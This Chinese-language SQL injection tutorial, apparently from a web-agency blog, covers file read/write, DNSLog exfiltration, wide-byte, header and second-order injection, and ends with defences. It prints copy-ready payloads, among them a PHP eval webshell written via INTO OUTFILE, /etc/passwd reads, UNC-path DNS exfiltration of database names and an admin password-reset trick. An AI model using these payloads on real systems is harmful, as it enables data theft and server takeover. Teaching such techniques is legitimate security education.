SQL注入进阶实战:读写文件、DNSLog盲注、宽字节与头部注入及二次注入

发布时间:2026/10/17 5:36:47
SQL注入进阶实战:读写文件、DNSLog盲注、宽字节与头部注入及二次注入 1. 从一次内部演练说起为什么这些注入姿势值得单独拎出来讲前段时间帮一个做企业服务的团队做内部安全演练复盘他们的业务系统在常规扫描里没报出什么大问题但手工测试阶段却被陆续挖出了好几个注入点——有的藏在Cookie里有的躲在User-Agent头里还有一个是典型的二次注入扫描器完全没反应。这件事让我意识到很多人对SQL注入的理解还停留在“在URL参数里加个单引号”的阶段而真实场景里的注入入口远比想象中分散。这篇内容就是围绕SQL注入里几个容易被忽略、但在实战中又特别有用的方向展开读写文件、DNSLog盲注、宽字节注入、User-Agent注入、Referer注入、Cookie注入、二次注入。这些不是花架子而是手工测试时真正能帮你打开局面的手段。适合有一定Web安全基础、想从“会用工具”进阶到“能手工挖洞”的读者也适合开发同学反向理解自己代码里可能埋了哪些雷。我会尽量把每个点的原理讲透把实操步骤写清楚把踩过的坑摊开说。所有演示都基于我本地搭的模拟环境和虚构的业务场景不涉及任何真实系统。2. 读写文件从注入点到服务器文件系统的跳板2.1 为什么读写文件是注入利用的“质变点”普通的SQL注入最多就是拖库——把数据从数据库里捞出来。但一旦能读写文件性质就变了读文件可能拿到源码、配置文件、密钥写文件可能直接往Web目录丢一个脚本从“数据泄露”升级成“服务器控制”。这就是为什么读写文件能力在注入利用里属于高价值目标。能不能读写文件取决于几个前提条件这些条件缺一不可数据库权限当前数据库用户需要有FILE权限。MySQL里可以用SELECT file_priv FROM mysql.user WHERE user current_user()来确认但更常见的是直接尝试报错就说明没权限。secure_file_priv配置MySQL 5.7之后这个参数默认限制了文件读写路径。如果它是NULL完全禁止如果是某个目录只能操作该目录如果是空则不限路径。可以用SELECT secure_file_priv查看。Web目录可写写文件时目标路径必须是数据库进程有写权限的目录通常是Web根目录。知道绝对路径写文件必须用绝对路径所以得先想办法拿到网站根目录常见手段是报错信息泄露、phpinfo页面、或者读取已知配置文件推断。注意读写文件操作对目标系统影响较大务必在获得明确授权的演练环境中进行生产环境误操作可能导致服务异常。2.2 读文件load_file的实战用法读文件用的是LOAD_FILE()函数。假设我们确认了一个注入点想读服务器的/etc/passwdLinux或C:\Windows\win.iniWindows构造方式取决于注入类型。以联合查询注入为例假设原查询是SELECT id, name FROM users WHERE id 1我们可以这样构造SELECT id, name FROM users WHERE id -1 UNION SELECT 1, LOAD_FILE(/etc/passwd)如果页面回显第二个字段就能看到文件内容。但实际测试中经常遇到几个问题第一个问题是文件内容为空。原因可能是文件不存在、权限不足、或者secure_file_priv限制。排查顺序是先确认路径正确再确认权限最后看配置。第二个问题是回显长度限制。有些页面只显示前几十个字符这时候可以用SUBSTRING()分段读取SELECT id, name FROM users WHERE id -1 UNION SELECT 1, SUBSTRING(LOAD_FILE(/etc/passwd), 1, 100)第三个问题是十六进制绕过。某些情况下路径里的特殊字符会被过滤可以把路径转成十六进制SELECT LOAD_FILE(0x2F6574632F706173737764)0x2F6574632F706173737764就是/etc/passwd的十六进制表示。这个技巧在路径包含引号或空格时特别有用。2.3 写文件into outfile与into dumpfile的区别写文件比读文件更敏感因为它直接改变服务器状态。MySQL里有两个函数INTO OUTFILE和INTO DUMPFILE。INTO OUTFILE会写入文本内容并且会在每行末尾自动加上换行符适合写普通文本文件。INTO DUMPFILE则原样写入不加任何额外字符适合写二进制文件。一个典型的写WebShell的构造SELECT id, name FROM users WHERE id -1 UNION SELECT 1, ?php eval($_POST[cmd]); ? INTO OUTFILE /var/www/html/shell.php这里有几个关键点路径必须是绝对路径且Web目录可写。写入的内容不能包含被过滤的字符如果引号被过滤可以用十六进制编码内容。如果目标文件已存在INTO OUTFILE会报错所以文件名要选一个不存在的。写进去的脚本能不能执行取决于Web服务器的解析配置比如.php后缀是否被解析。实操心得写文件时优先选一个不显眼的文件名和路径比如放在上传目录或缓存目录里避免直接丢在根目录引起注意。另外写完记得验证是否可访问有时候文件写成功了但Web服务器没权限读取。2.4 读写文件的常见失败原因速查现象可能原因排查方法LOAD_FILE返回NULL文件不存在或权限不足换已知存在的文件测试LOAD_FILE返回NULLsecure_file_priv限制查询secure_file_privINTO OUTFILE报错文件已存在换文件名INTO OUTFILE报错目录不可写换Web目录下的其他路径写入成功但访问404路径不对或Web未解析确认Web根目录和解析规则内容被截断字段长度限制分段写入或换字段3. DNSLog盲注没有回显时的“外带”思路3.1 盲注的困境与DNSLog的破局点盲注最让人头疼的地方就是“没有回显”。布尔盲注要靠页面差异一点点猜时间盲注要靠延迟一点点等效率低得让人抓狂。DNSLog盲注的思路是既然页面不给我回显那我就让数据库主动去请求一个我能监控的域名把数据带出来。这个思路成立的前提是数据库支持发起网络请求的函数。MySQL里常用的是LOAD_FILE()配合UNC路径Windows环境下LOAD_FILE(\\\\domain\\share)会触发DNS解析或者用xp_dirtreeSQL Server、UTL_HTTPOracle等。不同数据库的利用方式不同这里以MySQL的UNC路径方式为主来讲。3.2 搭建DNSLog监控环境要接收DNS请求需要一个能记录DNS查询的平台。常见做法是自建一个DNS服务器或者使用公开的DNSLog服务。自建的话核心是配置一个权威DNS把所有子域名的查询都记录下来。假设我们有一个域名example-dns.com配置好NS记录指向我们的服务器后任何xxx.example-dns.com的查询都会打到我们的DNS服务器上我们就能看到是谁在什么时候查询了什么子域名。注意这里说的DNSLog平台仅用于授权的安全测试不得用于任何未授权的场景。3.3 构造DNSLog注入payload假设我们确认了一个注入点但页面没有任何回显也不适合时间盲注。我们可以这样构造SELECT id, name FROM users WHERE id 1 AND LOAD_FILE(CONCAT(\\\\, (SELECT database()), .example-dns.com\\test))在Windows环境下LOAD_FILE遇到UNC路径会尝试解析域名于是数据库名就被拼接到子域名里通过DNS查询带出来了。我们在DNSLog平台上就能看到类似mydb.example-dns.com的查询记录。如果要带出表名或字段内容可以这样SELECT id, name FROM users WHERE id 1 AND LOAD_FILE(CONCAT(\\\\, (SELECT table_name FROM information_schema.tables WHERE table_schemadatabase() LIMIT 0,1), .example-dns.com\\test))3.4 DNSLog盲注的局限与替代方案DNSLog盲注不是万能的它有几个明显局限依赖Windows环境UNC路径触发DNS解析主要在Windows上有效Linux下LOAD_FILE对UNC路径的处理不同。依赖secure_file_priv如果该参数限制了LOAD_FILE这条路走不通。数据长度限制子域名有长度限制太长的数据需要分段带出。网络延迟DNS查询有延迟不适合大量数据快速提取。如果DNSLog走不通可以考虑替代方案利用LOAD_FILE读取远程HTTP资源部分环境支持或者回到时间盲注但用二分法优化效率。另外如果数据库支持INTO OUTFILE写到Web目录也可以把数据写到文件再读取但这需要写权限。实操心得DNSLog盲注最适合用来快速确认注入点是否存在以及获取数据库名、当前用户这类短信息。要拖大量数据还是得结合其他手段。另外DNSLog平台的选择要注意稳定性有些公开平台会有延迟或丢包。4. 宽字节注入字符集转换带来的“意外”4.1 宽字节注入的原理一个反斜杠引发的血案宽字节注入的根源在于字符集转换。很多系统用GBK编码而GBK里有些字符是两个字节的其中第二个字节可能是0x5C也就是反斜杠\。当转义函数在单引号前加反斜杠时如果前面的字符正好是一个GBK双字节字符的第一个字节那么反斜杠就会被“吃掉”单引号就逃逸出来了。举个例子假设输入%df转义函数会把单引号变成\也就是%df%5c%27。但在GBK编码下%df%5c被解析成一个合法的双字节字符于是%27单引号就独立出来了注入成功。4.2 宽字节注入的实操构造假设一个URL参数id1我们测试id1%df如果页面报错说明可能存在宽字节注入。进一步构造id-1%df UNION SELECT 1,2,3--这里%df和转义反斜杠组合成GBK字符单引号逃逸后面的联合查询就生效了。如果%df不行可以尝试其他GBK首字节比如%81到%FE之间的很多值都可以。常见的有%df、%81、%a1等。4.3 宽字节注入的防御与绕过思路防御宽字节注入的核心是统一字符集。具体做法数据库连接、数据库表、页面输出全部使用UTF-8避免GBK。如果必须用GBK使用mysql_set_charset(gbk)而不是SET NAMES gbk前者会正确处理转义。使用参数化查询从根本上杜绝注入。绕过方面如果系统做了addslashes但字符集是GBK宽字节注入就有效。如果系统用了mysql_real_escape_string并且正确设置了字符集宽字节注入就失效了。所以测试时要先判断字符集和转义方式。注意宽字节注入的测试要小心某些payload可能导致数据库报错甚至异常建议在测试环境先验证。5. 头部注入三兄弟User-Agent、Referer、Cookie5.1 为什么头部也会成为注入入口很多人测试注入只盯着URL参数和POST表单忽略了HTTP头。但实际开发中有些系统会把User-Agent、Referer、Cookie这些头信息存进数据库——比如记录访问日志、统计来源、做用户追踪。如果这些头信息没有经过参数化处理就直接拼进SQL就形成了注入点。这类注入的特点是扫描器往往不覆盖因为扫描器默认只测URL和表单手工测试容易忽略因为大家习惯性只看参数但一旦存在利用方式和普通注入一样。5.2 User-Agent注入的实操假设一个系统会把User-Agent存进access_log表。我们用Burp Suite抓包把User-Agent改成Mozilla/5.0 AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT database()), FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) a)-- -如果页面报错并带出数据库名说明存在注入。这是报错注入的经典构造。如果页面不回显错误可以尝试布尔盲注Mozilla/5.0 AND (SELECT SUBSTRING(database(),1,1))a-- -根据页面差异判断。5.3 Referer注入与Cookie注入Referer注入的构造和User-Agent类似只是把payload放在Referer头里。Cookie注入则是把payload放在Cookie值里。Cookie注入有个特殊点有些系统用Cookie做身份标识比如Cookie: user_id1如果这个值直接拼进SQL就是注入点。构造Cookie: user_id1 AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT database()), FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) a)-- -5.4 头部注入的测试流程与工具配置手工测试头部注入的流程用Burp Suite或类似工具抓包。逐个修改User-Agent、Referer、Cookie的值加入单引号、双引号、括号等特殊字符。观察页面是否报错、是否有差异、是否有延迟。确认注入类型后构造对应payload。如果要用sqlmap自动化可以这样指定sqlmap -u http://target.com/page --headersUser-Agent: * --level3--level3以上才会测试User-Agent和Referer--level5会测试更多头。Cookie可以用--cookie参数指定。实操心得头部注入的测试要特别注意有些系统对头信息做了长度限制或字符过滤payload太长可能被截断。另外修改User-Agent可能触发WAF规则建议先测试正常值确认基线再逐步加入特殊字符。6. 二次注入最隐蔽的注入类型6.1 二次注入为什么难发现二次注入的特点是注入点和使用点分离。用户输入的数据先被存进数据库这一步通常做了转义所以直接注入不成功然后在另一个功能里被取出并拼进SQL这一步没有转义注入生效。因为注入的payload在存入时被转义了扫描器在存入点测试时不会报注入只有到了使用点才触发。这就是为什么二次注入特别隐蔽扫描器基本扫不出来只能靠手工逻辑分析。6.2 二次注入的典型场景最常见的场景是注册和修改密码。假设一个系统注册时用户名被转义后存入数据库。修改密码时系统从数据库取出用户名拼进UPDATE users SET passwordxxx WHERE username$username。如果注册时用户名是admin-- -存入数据库时转义成admin\-- -但取出来时是admin-- -拼进SQL就变成了UPDATE users SET passwordnewpass WHERE usernameadmin-- --- -注释掉了后面的单引号于是admin的密码被修改了。这就是经典的二次注入改密码。6.3 二次注入的挖掘思路挖掘二次注入核心是追踪数据流找到所有用户输入被存入数据库的地方注册、发帖、评论、修改资料等。找到所有从数据库取出数据并拼进SQL的地方登录、查询、修改、删除等。分析这两者之间是否有交集存入的数据是否会在某个功能里被取出并拼接。一个实用的技巧是在存入点输入一个带特殊字符的标记比如test123然后在各个功能里观察这个标记是否被原样取出并触发异常。如果某个功能报错就可能存在二次注入。6.4 二次注入的利用与防御利用二次注入通常需要结合具体业务逻辑。比如改密码场景构造用户名admin-- -注册后登录然后修改密码如果admin的密码被改了说明利用成功。防御二次注入关键是在使用点也做参数化处理不能因为数据来自数据库就信任它。数据库里的数据也可能包含恶意内容取出后拼进SQL同样危险。实操心得二次注入的测试周期比较长因为要在多个功能之间切换。建议画一张数据流图标出所有存入点和取出点然后逐个验证。另外有些二次注入需要特定的业务顺序比如先注册再登录再修改测试时要按业务流程走。7. 常见问题与排查技巧实录7.1 注入点确认阶段的常见问题问题一加了单引号页面没反应。不一定代表没有注入可能是页面做了统一错误处理或者注入点不在这个参数。可以尝试加双引号、括号、反斜杠观察是否有差异。也可以尝试AND 11和AND 12对比页面。问题二有报错但不回显。可能是错误日志被关闭了或者错误信息被重定向。可以尝试时间盲注或DNSLog盲注。问题三WAF拦截。常见拦截特征是返回403或特定拦截页面。可以尝试编码绕过、大小写混合、内联注释等。但要注意绕过WAF不是本文重点且要在授权范围内进行。7.2 各注入类型的排查速查表注入类型确认方法常见障碍解决思路读写文件尝试LOAD_FILE已知文件secure_file_priv限制查配置换路径DNSLog盲注构造UNC路径payload环境不支持换时间盲注宽字节注入输入%df观察字符集不是GBK确认字符集User-Agent注入修改头加特殊字符扫描器不覆盖手工测试Referer注入修改Referer加payload头被过滤编码绕过Cookie注入修改Cookie值值被签名找未签名的Cookie二次注入追踪数据流注入点隐蔽逻辑分析7.3 实操中的避坑经验第一不要依赖单一工具。sqlmap很强但头部注入、二次注入这些它覆盖不好手工测试不可替代。第二注意测试顺序。先测URL参数再测POST表单再测头部最后分析二次注入。从简单到复杂逐步深入。第三记录每一步。注入测试涉及大量请求不记录很容易乱。建议用Burp的Repeater逐个保存或者用笔记记录payload和结果。第四控制测试强度。时间盲注和DNSLog盲注会产生大量请求可能影响目标系统性能也可能触发告警。在授权范围内合理控制。第五验证注入危害时要克制。确认注入点后读取数据库名、当前用户即可证明危害不要拖全库、不要写文件除非演练目标明确要求。7.4 从防御角度看这些注入站在开发角度防御这些注入的核心就一条参数化查询。所有用户输入包括URL参数、表单、HTTP头、Cookie只要拼进SQL就必须用参数化。转义函数不可靠因为字符集、编码、二次注入都可能绕过。其次最小权限原则。数据库用户不要给FILE权限不要给高权限这样即使注入成功危害也有限。最后统一字符集。全链路UTF-8避免宽字节问题。8. 一些个人体会这些注入类型里我个人觉得最值得花时间研究的是二次注入和头部注入。前者考验的是对业务逻辑的理解后者考验的是测试的全面性。读写文件和DNSLog盲注更偏向利用技巧宽字节注入则需要对编码有清晰的认识。实际演练中我见过太多系统在URL参数上做了防护却在Cookie和User-Agent上裸奔。也见过注册功能转义得很严但修改密码功能直接把用户名拼进SQL。这些问题的根源不是技术难度而是开发时的疏忽和测试时的盲区。如果你正在学习Web安全建议搭一个本地环境把这些注入类型逐个复现一遍。光看文章不够亲手构造payload、观察数据库反应、调整绕过方式这个过程才能真正把知识变成技能。环境可以用常见的集成环境搭建数据库选MySQLWeb语言选PHP然后故意写一些有漏洞的代码来测试。最后提醒一句所有测试都要在获得授权的环境中进行未经授权的测试不仅违规也可能带来法律风险。技术是用来解决问题的不是用来制造问题的。

关于本文作者

来自尧图内容编辑团队

尧图内容编辑团队 内容团队

尧图内容编辑团队

本文由尧图网络内容编辑团队执笔。团队由资深项目经理、前端工程师与设计师组成,所有内容均来自亲手交付的真实项目,先讲清问题、再给出可落地的解法。尧图深耕北京网站建设十年,服务过京华建材集团、智造科技等各行业客户,把一线经验沉淀为可复用的行业观察。

  • 十年建站经验,覆盖建材、制造、服务、文创等
  • 项目经理把关选题与事实准确性
  • 工程师与设计师联合撰写专业细节
  • 统一编辑规范,保证文风与排版一致
  • 每月复盘转化数据,迭代选题方向

延伸阅读

相关资讯与近期热门内容

深度阅读推荐

建站决策前值得细读的三篇

网站改版的5个关键决策
2024-08-12

网站改版的5个关键决策

什么时候该改版、改到什么程度、如何避免流量掉光,京华建材集团改版复盘给出答案。

获取专属建站方案

看完文章,把您的行业与预算告诉我们,免费获取一份量身定制的官网建设方案与报价。

立即免费咨询